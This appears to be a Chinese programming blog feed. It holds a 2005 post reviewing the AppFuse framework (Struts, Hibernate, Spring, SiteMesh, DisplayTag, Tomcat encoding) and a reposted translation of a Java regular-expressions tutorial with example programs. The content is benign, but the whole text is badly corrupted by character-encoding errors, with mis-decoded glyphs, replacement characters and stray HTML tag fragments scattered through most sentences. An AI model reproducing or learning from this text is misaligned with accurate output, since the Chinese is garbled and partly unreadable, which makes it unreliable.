2�Q?Struts中的标签如今推荐使用的只有html部分的标�{�了�Q�其他的标签或者可以��用JSTL替代�Q�或者已�l�不推荐使用了，而且AppFuse中推荐��用JSTL�Q�而JSTL和struts的标�{��联合使用�Ӟ��需要的不是�Q�而是�Q�这个问题曾�l�困��C��我整�?天�?
3�Q?Struts的Validation的校验规则�ƈ不完善，比如如果使用客户端的javascript校验�Q�则在邮��׃��输入汉字�Ҏ(gu��)��校验不出来，��C��服务器端报错�?
4�Q�最严重的问题是AppFuse生成的Struts的validation.xml文�g中有许多多余的�?”，如果你去掉了�Q�常常在执行ant�?deploy��d��时又恢复原样。这��h��提交表单的时候经�怼�报javascript的脚本错误或者缺��对象或者缺��value�Q�所以我会手工的修改�q�个文�g�Q�然后把修改后的文�g备䆾�Q�当重新生成有错误的文�g�Ӟ��我会用备份的没有错误的文件去覆盖�?
5�Q?Struts的validatioin对于使用同一个FormBean的Action的校验方式比较复杂。（待解冻I��?
二．Hibernate
1�Q?Hibernate是现在受到越来越多的人推崇的一个ORM工具�Q�框架、类库）�Q�它?y��u)��我们从�J�琐的��用JDBC的开发过�E�中解放出来�Q�但同时也带来了新的问题�Q�如学习曲线�Q�执行效率，数据库设计优化，�q�有最重要的灵�z�L��。Hibernate不是一个很�Ҏ(gu��)��上手的东西，要完全驾驭它�q�需要读很多资料�Q�但好的资料却很��?
2�Q?使用Xdoclet可以很方便的生成Hibernate中的持久�cȝ��配置文�g�Q?.hbm.xml�Q?但对一些特�D�的映射却无能�ؓ力，如��用序列的id生成规则�Q�序列的名字没有地方写，所以也只好先利用它生成主要的内容，然后手工修改�?
3�Q?同样�q�是id的生成策略问题，如果使用序列、hilo�{�需要一些数据库机制支持的策略时�Q�schemaExport�q�不能自动生成序列或者保存当前id的表�Q�这��工作仍然要手工解决�?
4�Q?Hibernate中提供了几种兌��Q�一对一、一对多、多对多�Q�但对于怎样调整效率却没有一个很明确的提�C�，�q�要�Ҏ(gu��)��情况判定�Q�这��带来和一些弹性的设计�?
5�Q?Hibernate中可以选择的操作数据库的方式有3�U�，其中HQL功能最强大�Q�但有些功能使用标准查询可能会更方便�Q�但会有一些限�Ӟ��所以虽然它很灵�z�，但易用性不如JDBC好�?
三．Spring
在AppFuse的过�E�中�Q�Spring完全隐藏在幕后，除了一些配�|�外�Q�几乎感觉不到它的存在，所以我在��用它的过�E�中�q�没有遇��C��么麻烦，�q�里只是��单的介绍一下它在AppFuse中�v到的作用�?
1�Q?Spring在AppFuse中�v到的主要作用是对Hibernate的Session和事务的��理�Q�利用Spring��装的Hibernate模板�c�，我们大大地减��了实现DAO的代码行数�?
2�Q?Spring�q��v��C��q�接映射文�g和类之间的关联，及接口和实现�c�M��间的兌��Q�这些都依赖于Spring的IoC的机制的实现�?
3�Q?对于字符�q�行�~�码和解码部分用��C��Spring自带的Filter�Q�只需要在配置文�g中配�|�就好了�?

四．SiteMesh
SiteMesh是一个基于Decorator模式的技术，它可以修饰返回的�|�页文�g�Q�它的工作方式受到越来越多的人的推崇�Q�这点从Manning出版的一些技术书�c�中可以看出来�?
我在使用SiteMesh的过�E�中�q�不��利�Q�我参考了《Java Open Source Programming》，�q�本书中说SiteMesh在默认的情况下不对下载文件进行装饎ͼ�但我在下载文件时发现�Q�我的文件内容被丢弃了，取而代之的�?SiteMesh的模板的内容�Q�后来我通过修改SiteMesh的配�|�文件解决了�q�个问题�Q�但感觉�q�有一些不太清楚的地方需要学习�?

五．DisplayTag
DisplayTag 是一个优�U�的显�C�内容的标签�Q�从SourceForge的访问量来看�Q�它是很�z�跃的项目，仅次于Ant、Hibernate、Xdoclet�{�几个著名的��目�Q�我�ȝ��Q�它的主要功能有4��：昄��、分��c��排序、将昄��的数据写入指定类型的文�g中，然后下蝲�?
1�Q?据我使用的情�늜��Q�我只��用了分页和显�C�的功能�Q�因为当时我没有很好的解决中文编码的问题�Q�所以排序会有问题，直到昨天�Q�我在朋友的帮助下解决了�q�个问题�Q�至此我可以攑ֿ�使用的功能又增加了排�?我昨天简单的��试了一下是可以�?�?

2�Q?但对于将昄��的内容生成到一个指定格式的文�g中的功能却有着很多�~�陷�Q�如�Q?
�Q?�Q?生成的文件中只有昄��的数据，那些没有昄��在界面上的的数据�Q�则不会被写到文件中�?
�Q?�Q?如果修改了DisplayTag的显�C�的内容�Q�比如添加一列，在这列中的内容不是字�W�，而是HTML的标�{�，则生成的文�g只有�q�些HTML标签�Q�而没有数据�?
�Q?�Q?即��DisplayTag中没有我们定制的HTML脚本�Q�生成的文�g偶尔也有问题�Q�比如：它会把�?07”生成�ؓ�?”，把字�W�串自动的�{换�ؓ整型倹{��有时候还生成�I�白内容的文件�?
�Q?�Q?DisplayTag生成的Excel文�g兼容性不好，有时在Excel2003中不能正常打开�Q�或者在XP下打开报错�?
后来�Q�我看了作者写的《Spring Live》，书中说如果想实现�E�_��的Excel�Q�推荐��用POI�Q�于是我使用POI生成Excel�Q�稳定性和兼容性都不错�?

六．DBUnit
DBUnit是一个可以被Ant集成的向数据库中��d��数据和备份数据的一个类库，配置很方便，因�ؓAppFuse已经集成好了�Q�所以��用也很容易�?
但是如果你��用EditPlus之类的工��h��工修改了AppFuse生成的内容，则执行Ant的setup、setup-db或者deploy的�Q务时�Q�常常报错，说无效的格式�Q�这是因��个被手工修改的文件再�ơ被AppFuse执行后，它的�W�一行的文�g声明的前几个字母是无效的�Q�是因�ؓ本地的字�W�集�~�码的原因而引起了��q��Q�如果把�q�几个无效的字母��L��Q�问题就解决了�?

七．Struts Menu
Struts Menu也是AppFuse的作者开发的一个开源��Y�Ӟ��它可以根据配�|�文件读取当前用户可以��用的功能菜单�Q�这个功能是我一直以来都惌��的，我也扑ֈ�了一些代码，但实现的都不如这个完善，没什么好说的�Q��用简单，配置�Ҏ(gu��)��Q�很好的解决了我的问题�?
问题是我只��用了AppFuse提供�?个角�Ԍ��对于多个角色的实验我�q�没有做�?

八．XDoclet
在AppFuse中，使用Xdoclet生成了几乎一切的配置文�g�Q�Struts-config.xml、web.xml、validation.xml�?.hbm.xml�{�文�Ӟ��如果使用AppGen的话�Q�还会生成更多的文�g�Q�这一切都是��用Xdoclet实现的�?
问题是我在Struts部分提到的，生成的Validation.xml文�g中会多生成一个�?”，另外在生成资源文件时也会多生成一个�?”，目前我没有很好的阅读�q�段代码�Q�不知道是不是Xdoclet的问题�?

�?ji��)．Ant
Ant�q�没有什么问题，但在执行作者写的Ant��d��的时候，有一些�Q务不能正常执行，比如�Q�运行模拟对象测试的��d��Q�作者也�?.7版本的修复列表中提到以前版本有些ant��d��不能执行�Q�在1.7中修改了一些ant��d��Q��他们能够正常的执行了�?
实际上，我们如果使用AppGen�q�行开发的话，使用的�Q务一般不��过8个�?

十．JSTL
JSTL 是个好东西，我常用的�?lt;c:>�?lt;fmt:>部分的标�{�，但是如果使用JSTL�q�行逻辑判断�Q�我�q�没有感觉比使用JSP的代码块优雅多少。另外，熟�?zh��n)�JSTL也需要一�D�|��_��我就�l�历了面对着JSP��面不知道该怎么写JSTL语法的困境。当�Ӟ��AppFuse中��用的基本都是 JSTL�Q�包括向DisplayTag传递显�C�的数据�Q��用的都是JSTL语法�Q�这斚w��的资料挺多，我参考的是电(sh��)子工业出版社出的《JSP2.0技术》，说的很详�l��?

十一.Tomcat
你也�怼��_��“Tomcat��׃��用说了吧�Q�”，是的�Q�Tomcat一般都会��用，但是 ―――――――――――――Tomcat5和Tomcat4.X对于中文�~�码使用了不同的机制�Q�这个问题困��C��我好久，我解决了��面上写入汉字显�C�Zؕ码的问题�Q�我也曾�l�以为DisplayTag�Ҏ(gu��)��字不能排序，也不能正常分��|��因�ؓDisplayTag的开发者都是老外�Q�是因�ؓ他们没有考虑中文的关�pȝ��原因�?
直到昨天�Q�我才知道这一切都是因为Tomcat5�Ҏ(gu��)��字编码的实现的方式和Tomcat4不一��L��原因�Q�如果感兴趣�Q�可以看看这个帖子： http://www.javaworld.com.tw/jute/post/view?bid=9&id=44042&sty=1&tpg=1&age=0

十二.JavaScript
JavaScript��单易学，但想�q�用自如��׃��太容易了。AppFuse中嵌入了几个js文�g�Q�里面包含了许多函数�Q�值得我们好好的研�I�一下，比如�Q�如果有一个必填字�D�|��有填写，AppFuse会自动的聚焦在那个input上，�c�M��的小技巧有很多�Q�你可以自己�ȝ��看�?
但AppFuse 自带的JavaScript脚本有一个Bug�Q�就是当DisplatyTag中没有可以显�C�的数据�Ӟ��你用鼠标单击�Q�它会报JavaScript错误�Q�你仔细研究一下function highlightTableRows(tableId) ��q��道了�Q�我的解军_��法是在location.href = link.getAttribute("href");前面��d��一行判断：if (link != null)�?

十三.资源文�g国际�?
对于Struts和DisplayTag都涉及到资源文�g国际化AppFuse1.6.1很好的解决了Struts资源映射文�g国际化的问题�Q�你只需要在对应本国语言的资源文件中写入汉字�Q�Ant中有一��Ҏ(gu��)��行native2ascii的�Q务，AppFuse自动的�ؓ你进行了资源文�g的编码�{换，而对�?DisplayTag的资源文仉��题，�q�要自己执行native2ascii命��o�Q��ؓ了避免每�ơ都输入一串命令，我用Delphi写了个小工具�Q�可视化的选择资源文�g�Q�点��L��钮自动执行该命��o�Q�底层依赖于JDK�?

�l�过2个多月的学习�Q�我感觉�q�个框架非常不错�Q�它为我以后的项目开发指��Z��一个新的方向，但如果想很熟�l�的使用�q�个框架�q�行开发，臛_��要对以下几种技术比较熟�l�：Struts(或者WebWork、Spring及其他的已经整合�q�来的MVC框架)、Hibernate�Q�或者ibatis�Q�、JSTL�Q�当然其他的技术至��也要知道一点，否则遇到问题都不知道出在哪里�?

目前我还没有解决的问题有�Q?
1�Q?如何在翻��늚�时候才��d��下面的数据？
2�Q?怎样对��用同一个FormBean的多个Form�q�行客户端校验？
3�Q?怎样优化Hibernate的效率？《Hibernate In Action》中提供了多�U�策略，有些时候应该��用lazy�Q�有些时候应该��用outer-join�?
4�Q�在什么时机生成导出文�Ӟ��目前我是在查询的Action中同时生成了导出文�g�Q�否则，��C��下一��，我就不知道查询条件了�Q�当�Ӟ��如果把拼装后的HQL存储在Session或者Hidden中也可以解决�q�个问题�Q�但是这样就破坏了DAO的封装，要把DAO��装后的HQL发送给Action�Q�然后发送的�?Web界面层，所以目前我�q�在犹��U生成导出文�g的时机选择在哪里？
5�Q?什么时候应该自��p��取数据库�q�接�Q�执行native SQL�Q�具体需要注意些什么？
6�Q?SiteMesh的模板优化？
7�Q?DisplayTag的底层实玎ͼ�

每个问题都比较棘手，要一个一个解冻I��

�q�个框架的优�Ҏ(gu��)��Q�如果熟�(zh��n)�了开发流�E�，可以大幅度的提高开发速度�Q�如果业务不是很复杂�Q��用AppGen可以生成60%左右的代码，而且�E�序可维护性好�Q�因��Z��者��用了多个设计模式对各个层面进行了��装�Q�所以不同的模块代码风格出奇的一��_��有利于开发�h员快速上手，也有利于接收其他开发�h员遗留的代码�?/P>

frankboy 2005-12-27 23:21 发表评论

frankboy — Tue, 27 Dec 2005 15:18:00 GMT

正则表达�?/H2>
(转脓(chu��ng))

作�ؓ本章的结��，我们来看一看正则表辑ּ�(regular expression)。正则表辑ּ��?SPAN class=original_words>JDK 1.4的新功能�Q�但是对sed和awk�q�样的Unix的标准实用工��P��以及Python�Q�Perl之类的语�a�来讲�Q�它早就已经成�ؓ其不可或�~�的�l�成部分�?有�h甚至认�ؓ�Q�它�q�是Perl能大��h��功的最主要的原�?。单从技术角度来�Ԍ��正则表达式只是一�U�处理字�W�串的工�?�q�去Java�q�个��d��是交�?SPAN class=original_words>String�Q?SPAN class=original_words>StringBuffer以及StringTokenizer处理�?�Q�但是它常常和I/O一起��用，所以放到这里来讲也不算太离题吧�?A id=ref66 href="mk:@MSITStore:C:\Documents%20and%20Settings\wangkai\桌面\TIJ3_cn.chm::/chap12/nocomment.html#comment66">^[66]

正则表达式是一�U�功能强大但又非常灵�zȝ��文本处理工具。它能让你用�~�程的方式来描述复杂的文本模式，然后在字�W�串里把它找出来。一旦你扑ֈ�了这�U�模式，你就能随心所�Ʋ地处理�q�些文本了。虽然初看�v来正则表辑ּ�的语法有点让人望而生畏，但它提供了一�U�精�l�的动态语�a��Q��我们能用一�U�通用的方式来解决各种字符串的问题�Q�包括匹配，选择�Q�编辑以及校验�?/P>

创徏正则表达�?/H3>

你可以从比较��单的东西入手学习正则表达式。要惛_��面地掌握怎样构徏正则表达式，可以�ȝ��JDK文档�?SPAN class=original_words>java.util.regex�?SPAN class=original_words>Pattern�cȝ��文档�?/P>

字符
B	字符B
\xhh	16�q�制�?SPAN class=original_words>0xhh所表示的字�W?/TD>
\uhhhh	16�q�制�?SPAN class=original_words>0xhhhh所表示的Unicode字符
\t	Tab
\n	换行�W?/TD>
\r	回�R�W?/TD>
\f	换页�W?/TD>
\e	Escape

正则表达式的强大体现在它能定义字�W�集(character class)。下面是一些最常见的字�W�集及其定义的方式，此外�q�有一些预定义的字�W�集�Q?/P>

字符�?/SPAN>
.	表示��L��一个字�W?
[abc]	表示字符a�Q?SPAN class=original_words>b�Q?SPAN class=original_words>c中的��L��一�?�?SPAN class=original_words>a\|b\|c相同)
[^abc]	�?SPAN class=original_words>a�Q?SPAN class=original_words>b�Q?SPAN class=original_words>c之外的�Q意一个字�W?否定)
[a-zA-Z]	�?SPAN class=original_words>a�?SPAN class=original_words>z�?SPAN class=original_words>A�?SPAN class=original_words>Z当中的�Q意一个字�W?范围)
[abc[hij]]	a,b,c,h,i,j中的��L��一个字�W?�?SPAN class=original_words>a\|b\|c\|h\|i\|j相同)(�q��)
[a-z&&[hij]]	h,i,j中的一�?交集)
\s	�I�格字符(�I�格�? tab, 换行, 换页, 回�R)
\S	非空格字�W?[^\s])
\d	一个数字，也就�?SPAN class=original_words>[0-9]
\D	一个非数字的字�W�，也就�?SPAN class=original_words>[^0-9]
\w	一个单词字�W?word character)�Q�即[a-zA-Z_0-9]
\W	一个非单词的字�W�，[^\w]

如果你用�q�其它语�a�的正则表辑ּ��Q�那么你一眼就能看出反斜杠的与众不同。在其它语言里，"\\"的意思是"我只是要在正则表辑ּ�里插入一个反斜杠。没什么特别的意思�?但是在Java里，"\\"的意思是"我要插入一个正则表辑ּ�的反斜杠�Q�所以跟在它后面的那个字�W�的意思就变了�?举例来说�Q�如果你惌��C�Z��个或更多�?单词字符"�Q�那么这个正则表辑ּ��应该是"\\w+"。如果你要插入一个反斜杠�Q�那��得�?\\\\"。不�q�像换行�Q�蟩��g��cȝ��q�是只用一根反斜杠�Q?\n\t"�?/P>

�q�里只给你讲一个例子；你应�?SPAN class=original_words>JDK文档�?SPAN class=original_words>java.util.regex.Pattern加到收藏多w��Q�这样就能很�Ҏ(gu��)��地找到各�U�正则表辑ּ�的模式了�?/P>

逻辑�q�算�W?
XY	X 后面跟着 Y
X\|Y	X或Y
(X)	一�?要匹配的�l?capturing group)". 以后可以用\i来表�C�第i个被匚w��的组�?/TD>

边界匚w��W?
^	一行的开�?
$	一行的�l�尾
\b	一个单词的边界
\B	一个非单词的边�?
\G	前一个匹配的�l�束

举一个具体一些的例子。下面这些正则表辑ּ�都是合法的，而且都能匚w��"Rudolph"�Q?/P>

Rudolph
[rR]udolph
[rR][aeiou][a-z]ol.*
R.*

数量表示�W?/H3>

"数量表示�W?quantifier)"的作用是定义模式应该匚w��多少个字�W��?/P>

Greedy(贪婪�?�Q?除非另有表示�Q�否则数量表�C�符都是greedy的。Greedy的表辑ּ�会一直匹配下去，直到匚w��不下��Mؓ止�?U>(如果你发现表辑ּ�匚w��的结果与预期的不�W?�Q�很有可能是因�ؓ�Q�你以�ؓ表达式会只匹配前面几个字�W�，而实际上它是greedy的，因此会一直匹配下厅R�?
Reluctant(勉强�?�Q?用问可��C�，它会匚w��最��的字符。也�U�Cؓlazy, minimal matching, non-greedy, 或ungreedy�?
Possessive(占有�?�Q?目前只有Java支持(其它语言都不支持)。它更加先进�Q�所以你可能�q�不太会用。用正则表达式匹配字�W�串的时候会产生很多中间状态，(一般的匚w��引擎会保存这�U�中间状态，)�q�样匚w��p�|的时候就能原路返回了。占有型的表辑ּ�不保存这�U�中间状态，因此也就不会回头重来了。它能防止正则表辑ּ�的失控，同时也能提高�q�行的效率�?

Greedy	Reluctant	Possessive	匚w��
X?	X??	X?+	匚w��一个或零个X
X*	X*?	X*+	匚w��零或多个X
X+	X+?	X++	匚w��一个或多个X
X{n}	X{n}?	X{n}+	匚w��正好n�?SPAN class=original_words>X
X{n,}	X{n,}?	X{n,}+	匚w��臛_��n�?SPAN class=original_words>X
X{n,m}	X{n,m}?	X{n,m}+	匚w��臛_��n个，臛_��m�?SPAN class=original_words>X

再提醒一下，要想让表辑ּ�照你的意思去�q�行�Q�你应该用括��h��'X'括�v来。比方说�Q?/P>

abc+

��g��q�个表达式能匚w��一个或若干�?abc'�Q�但是如果你真的用它��d��?abcabcabc'的话�Q�实际上只会扑ֈ�三个字符。因��个表辑ּ�的意思是'ab'后边跟着一个或多个'c'。要惛_��配一个或多个完整�?abc'�Q�你应该�q�样�Q?/P>

(abc)+

正则表达式能轻而易丑֜�把你�l�耍了�Q�这是一�U�徏立在Java之上的新语言�?/P>

CharSequence

JDK 1.4定义了一个新的接口，�?SPAN class=original_words>CharSequence。它提供�?SPAN class=original_words>String�?SPAN class=original_words>StringBuffer�q�两个类的字�W�序列的抽象�Q?/P>

interface CharSequence {
  charAt(int i);
  length();
  subSequence(int start, int end);
  toString();
}

��Z��实现�q�个新的CharSequence接口�Q?SPAN class=original_words>String�Q?SPAN class=original_words>StringBuffer以及CharBuffer都作了修攏V��很多正则表辑ּ�的操作都要拿CharSequence作参数�?/P>

Pattern�?SPAN class=original_words>Matcher

先给一个例子。下面这�D늨�序可以测试正则表辑ּ�是否匚w��字符丌Ӏ�第一个参数是要匹配的字符�Ԍ��后面是正则表辑ּ�。正则表辑ּ�可以有多个。在Unix/Linux环境下，命��o行下的正则表辑ּ��q�必��ȝ��引号�?/P>

当你创徏正则表达式时�Q�可以用�q�个�E�序来判断它是不是会按照你的要求工作�?/P>

//: c12:TestRegularExpression.java
// Allows you to easly try out regular expressions.
// {Args: abcabcabcdefabc "abc+" "(abc)+" "(abc){2,}" }
import java.util.regex.*;
public class TestRegularExpression {
  public static void main(String[] args) {
    if(args.length < 2) {
      System.out.println("Usage:\n" +
        "java TestRegularExpression " +
        "characterSequence regularExpression+");
      System.exit(0);
    }
    System.out.println("Input: \"" + args[0] + "\"");
    for(int i = 1; i < args.length; i++) {
      System.out.println(
        "Regular expression: \"" + args[i] + "\"");
      Pattern p = Pattern.compile(args[i]);
      Matcher m = p.matcher(args[0]);
      while(m.find()) {
        System.out.println("Match \"" + m.group() +
          "\" at positions " +
          m.start() + "-" + (m.end() - 1));
      }
    }
  }
} ///:~

Java的正则表辑ּ�是由java.util.regex�?SPAN class=original_words>Pattern�?SPAN class=original_words>Matcher�c�d��现的�?SPAN class=original_words>Pattern对象表示�l�编译的正则表达式。静态的compile( )�Ҏ(gu��)��负责��表�C�正则表辑ּ�的字�W�串�~�译�?SPAN class=original_words>Pattern对象。正如上�q�C��E�所�C�的�Q�只要给Pattern�?SPAN class=original_words>matcher( )�Ҏ(gu��)��送一个字�W�串��p��获取一�?SPAN class=original_words>Matcher对象。此外，Pattern�q�有一个能快速判断能否在input里面扑ֈ�regex�?注意�Q�原文有误，漏了�Ҏ(gu��)��?

static boolean matches( regex,  input)

以及能返�?SPAN class=original_words>String数组�?SPAN class=original_words>split( )�Ҏ(gu��)��Q�它能用regex把字�W�串分割开来�?/P>

只要�l?SPAN class=original_words>Pattern.matcher( )�Ҏ(gu��)��传一个字�W�串��p��获得Matcher对象了。接下来��p��?SPAN class=original_words>Matcher的方法来查询匚w��的结果了�?/P>

boolean matches()
boolean lookingAt()
boolean find()
boolean find(int start)

matches( )的前提是Pattern匚w��整个字符�Ԍ��?SPAN class=original_words>lookingAt( )的意思是Pattern匚w��字符串的开头�?

find( )

Matcher.find( )的功能是发现CharSequence里的�Q�与pattern相匹配的多个字符序列。例如：

//: c12:FindDemo.java
import java.util.regex.*;
import com.bruceeckel.simpletest.*;
import java.util.*;
public class FindDemo {
  private static Test monitor = new Test();
  public static void main(String[] args) {
    Matcher m = Pattern.compile("\\w+")
      .matcher("Evening is full of the linnet's wings");
    while(m.find())
      System.out.println(m.group());
    int i = 0;
    while(m.find(i)) {
      System.out.print(m.group() + " ");
      i++;
    }
    monitor.expect(new String[] {
      "Evening",
      "is",
      "full",
      "of",
      "the",
      "linnet",
      "s",
      "wings",
      "Evening vening ening ning ing ng g is is s full " +
      "full ull ll l of of f the the he e linnet linnet " +
      "innet nnet net et t s s wings wings ings ngs gs s "
    });
  }
} ///:~

"\\w+"的意思是"一个或多个单词字符"�Q�因此它会将字符串直接分解成单词�?SPAN class=original_words>find( )像一个�P代器�Q�从头到��扫描一遍字�W�串。第二个find( )是带int参数的，正如你所看到的，它会告诉�Ҏ(gu��)��从哪里开始找——即从参��C��|�开始查找�?/P>

Groups

Group是指里用括号括�v来的�Q�能被后面的表达式调用的正则表达式。Group 0 表示整个表达式，group 1表示�W�一个被括�v来的group�Q�以此类推。所以；

A(B(C))D

里面有三个group�Q�group 0�?SPAN class=original_words>ABCD�Q?group 1�?SPAN class=original_words>BC�Q�group 2�?SPAN class=original_words>C�?/P>

你可以用下述Matcher�Ҏ(gu��)��来��用group�Q?/P>

public int groupCount( )�q�回matcher对象中的group的数目。不包括group0�?/P>

public String group( ) �q�回上次匚w��操作(比方�?SPAN class=original_words>find( ))的group 0(整个匚w��)

public String group(int i)�q�回上次匚w��操作的某个group。如果匹配成功，但是没能扑ֈ�group�Q�则�q�回null�?/P>

public int start(int group)�q�回上次匚w��所扑ֈ�的，group的开始位�|��?/P>

public int end(int group)�q�回上次匚w��所扑ֈ�的，group的结束位�|�，最后一个字�W�的下标加一�?/P>

下面我们举一些group的例子：

//: c12:Groups.java
import java.util.regex.*;
import com.bruceeckel.simpletest.*;
public class Groups {
  private static Test monitor = new Test();
  static public final String poem =
    "Twas brillig, and the slithy toves\n" +
    "Did gyre and gimble in the wabe.\n" +
    "All mimsy were the borogoves,\n" +
    "And the mome raths outgrabe.\n\n" +
    "Beware the Jabberwock, my son,\n" +
    "The jaws that bite, the claws that catch.\n" +
    "Beware the Jubjub bird, and shun\n" +
    "The frumious Bandersnatch.";
  public static void main(String[] args) {
    Matcher m =
      Pattern.compile("(?m)(\\S+)\\s+((\\S+)\\s+(\\S+))$")
        .matcher(poem);
    while(m.find()) {
      for(int j = 0; j <= m.groupCount(); j++)
        System.out.print("[" + m.group(j) + "]");
      System.out.println();
    }
    monitor.expect(new String[]{
      "[the slithy toves]" +
      "[the][slithy toves][slithy][toves]",
      "[in the wabe.][in][the wabe.][the][wabe.]",
      "[were the borogoves,]" +
      "[were][the borogoves,][the][borogoves,]",
      "[mome raths outgrabe.]" +
      "[mome][raths outgrabe.][raths][outgrabe.]",
      "[Jabberwock, my son,]" +
      "[Jabberwock,][my son,][my][son,]",
      "[claws that catch.]" +
      "[claws][that catch.][that][catch.]",
      "[bird, and shun][bird,][and shun][and][shun]",
      "[The frumious Bandersnatch.][The]" +
      "[frumious Bandersnatch.][frumious][Bandersnatch.]"
    });
  }
} ///:~

�q�首诗是Through the Looking Glass的，Lewis Carroll�?Jabberwocky"的第一部分。可以看到这个正则表辑ּ�里有很多用括��h��h��的group�Q�它是由��L��多个�q�箋的非�I�字�W?'\S+')和�Q意多个连�l�的�I�格字符('\s+')所�l�成的，其最�l�目的是要捕��h��行的最后三个单词；'$'表示一行的�l�尾。但�?$'通常表示整个字符串的�l�尾�Q�所以这里要明确地告诉正则表辑ּ�注意换行�W�。这一�Ҏ(gu��)��?(?m)'标志完成�?模式标志会过一会讲�?�?/P>

start( )和end( )

如果匚w��成功�Q?SPAN class=original_words>start( )会返回此�ơ匹配的开始位�|�，end( )会返回此�ơ匹配的�l�束位置�Q�即最后一个字�W�的下标加一。如果之前的匚w��不成�?或者没匚w��)�Q�那么无论是调用start( )�q�是end( )�Q�都会引发一�?SPAN class=original_words>IllegalStateException。下面这�D늨�序还演示�?SPAN class=original_words>matches( )�?SPAN class=original_words>lookingAt( )�Q?/P>

//: c12:StartEnd.java
import java.util.regex.*;
import com.bruceeckel.simpletest.*;
public class StartEnd {
  private static Test monitor = new Test();
  public static void main(String[] args) {
    String[] input = new String[] {
      "Java has regular expressions in 1.4",
      "regular expressions now expressing in Java",
      "Java represses oracular expressions"
    };
    Pattern
      p1 = Pattern.compile("re\\w*"),
      p2 = Pattern.compile("Java.*");
    for(int i = 0; i < input.length; i++) {
      System.out.println("input " + i + ": " + input[i]);
      Matcher
        m1 = p1.matcher(input[i]),
        m2 = p2.matcher(input[i]);
      while(m1.find())
        System.out.println("m1.find() '" + m1.group() +
          "' start = "+ m1.start() + " end = " + m1.end());
      while(m2.find())
        System.out.println("m2.find() '" + m2.group() +
          "' start = "+ m2.start() + " end = " + m2.end());
      if(m1.lookingAt()) // No reset() necessary
        System.out.println("m1.lookingAt() start = "
          + m1.start() + " end = " + m1.end());
      if(m2.lookingAt())
        System.out.println("m2.lookingAt() start = "
          + m2.start() + " end = " + m2.end());
      if(m1.matches()) // No reset() necessary
        System.out.println("m1.matches() start = "
          + m1.start() + " end = " + m1.end());
      if(m2.matches())
        System.out.println("m2.matches() start = "
          + m2.start() + " end = " + m2.end());
    }
    monitor.expect(new String[] {
      "input 0: Java has regular expressions in 1.4",
      "m1.find() 'regular' start = 9 end = 16",
      "m1.find() 'ressions' start = 20 end = 28",
      "m2.find() 'Java has regular expressions in 1.4'" +
      " start = 0 end = 35",
      "m2.lookingAt() start = 0 end = 35",
      "m2.matches() start = 0 end = 35",
      "input 1: regular expressions now " +
      "expressing in Java",
      "m1.find() 'regular' start = 0 end = 7",
      "m1.find() 'ressions' start = 11 end = 19",
      "m1.find() 'ressing' start = 27 end = 34",
      "m2.find() 'Java' start = 38 end = 42",
      "m1.lookingAt() start = 0 end = 7",
      "input 2: Java represses oracular expressions",
      "m1.find() 'represses' start = 5 end = 14",
      "m1.find() 'ressions' start = 27 end = 35",
      "m2.find() 'Java represses oracular expressions' " +
      "start = 0 end = 35",
      "m2.lookingAt() start = 0 end = 35",
      "m2.matches() start = 0 end = 35"
    });
  }
} ///:~

注意�Q�只要字�W�串里有�q�个模式�Q?SPAN class=original_words>find( )��p��把它�l�找出来�Q�但�?SPAN class=original_words>lookingAt( )�?SPAN class=original_words>matches( )�Q�只有在字符串与正则表达式一开始就相匹配的情况下才能返�?SPAN class=original_words>true�?SPAN class=original_words>matches( )成功的前提是正则表达式与字符串完全匹配，�?SPAN class=original_words>lookingAt( )^[67]成功的前提是�Q�字�W�串的开始部分与正则表达式相匚w��?/P>

匚w��的模�?Pattern flags)

compile( )�Ҏ(gu��)��q�有一个版本，它需要一个控制正则表辑ּ�的匹配行为的参数�Q?/P>

Pattern Pattern.compile(String regex, int flag)

flag的取��D��围如下：

�~�译标志	效果
Pattern.CANON_EQ	当且仅当两个字符�?正规分解(canonical decomposition)"都完全相同的情况下，才认定匹配。比如用了这个标志之后，表达�?a\u030A"会匹�??"。默认情况下�Q�不考虑"规范相等�?canonical equivalence)"�?
Pattern.CASE_INSENSITIVE (?i)	默认情况下，大小写不明感的匹配只适用于US-ASCII字符集。这个标志能让表辑ּ�忽略大小写进行匹配。要惛_��Unicode字符�q�行大小不明感的匚w��Q�只要将UNICODE_CASE与这个标志合��h��p��了�?
Pattern.COMMENTS (?x)	在这�U�模式下�Q�匹配时会忽�?正则表达式里�?�I�格字符(译者注�Q�不是指表达式里�?\\s"�Q�而是指表辑ּ�里的�I�格�Q�tab�Q�回车之�c?。注释从#开始，一直到�q�行�l�束。可以通过嵌入式的标志来启用Unix行模式�?
Pattern.DOTALL (?s)	在这�U�模式下�Q�表辑ּ�'.'可以匚w��L��字符�Q�包括表�C�Z��行的�l�束�W�。默认情况下�Q�表辑ּ�'.'不匹配行的结束符�?
Pattern.MULTILINE (?m)	在这�U�模式下�Q?^'�?$'分别匚w��一行的开始和�l�束。此外，'^'仍然匚w��字符串的开始，'$'也匹配字�W�串的结束。默认情况下�Q�这两个表达式仅仅匹配字�W�串的开始和�l�束�?
Pattern.UNICODE_CASE (?u)	在这个模式下�Q�如果你�q�启用了CASE_INSENSITIVE标志�Q�那么它会对Unicode字符�q�行大小写不明感的匹配。默认情况下�Q�大��写不明感的匚w��只适用于US-ASCII字符集�?
Pattern.UNIX_LINES (?d)	在这个模式下�Q�只�?\n'才被认作一行的中止�Q��ƈ且与'.'�Q?^'�Q�以�?$'�q�行匚w��?

在这些标志里面，Pattern.CASE_INSENSITIVE�Q?SPAN class=original_words>Pattern.MULTILINE�Q�以�?SPAN class=original_words>Pattern.COMMENTS是最有用�?其中Pattern.COMMENTS�q�能帮我们把思�\理清楚，�q�且/或者做文档)。注意，你可以用在表辑ּ�里插记号的方式来启用�l�大多数的模式。这些记号就在上面那张表的各个标志的下面。你希望模式从哪里开始启动，��在哪里插记受��?/P>

可以�?OR" ('|')�q�算�W�把�q�些标志合��用：

//: c12:ReFlags.java
import java.util.regex.*;
import com.bruceeckel.simpletest.*;
public class ReFlags {
  private static Test monitor = new Test();
  public static void main(String[] args) {
    Pattern p =  Pattern.compile("^java",
      Pattern.CASE_INSENSITIVE | Pattern.MULTILINE);
    Matcher m = p.matcher(
      "java has regex\nJava has regex\n" +
      "JAVA has pretty good regular expressions\n" +
      "Regular expressions are in Java");
    while(m.find())
      System.out.println(m.group());
    monitor.expect(new String[] {
      "java",
      "Java",
      "JAVA"
    });
  }
} ///:~

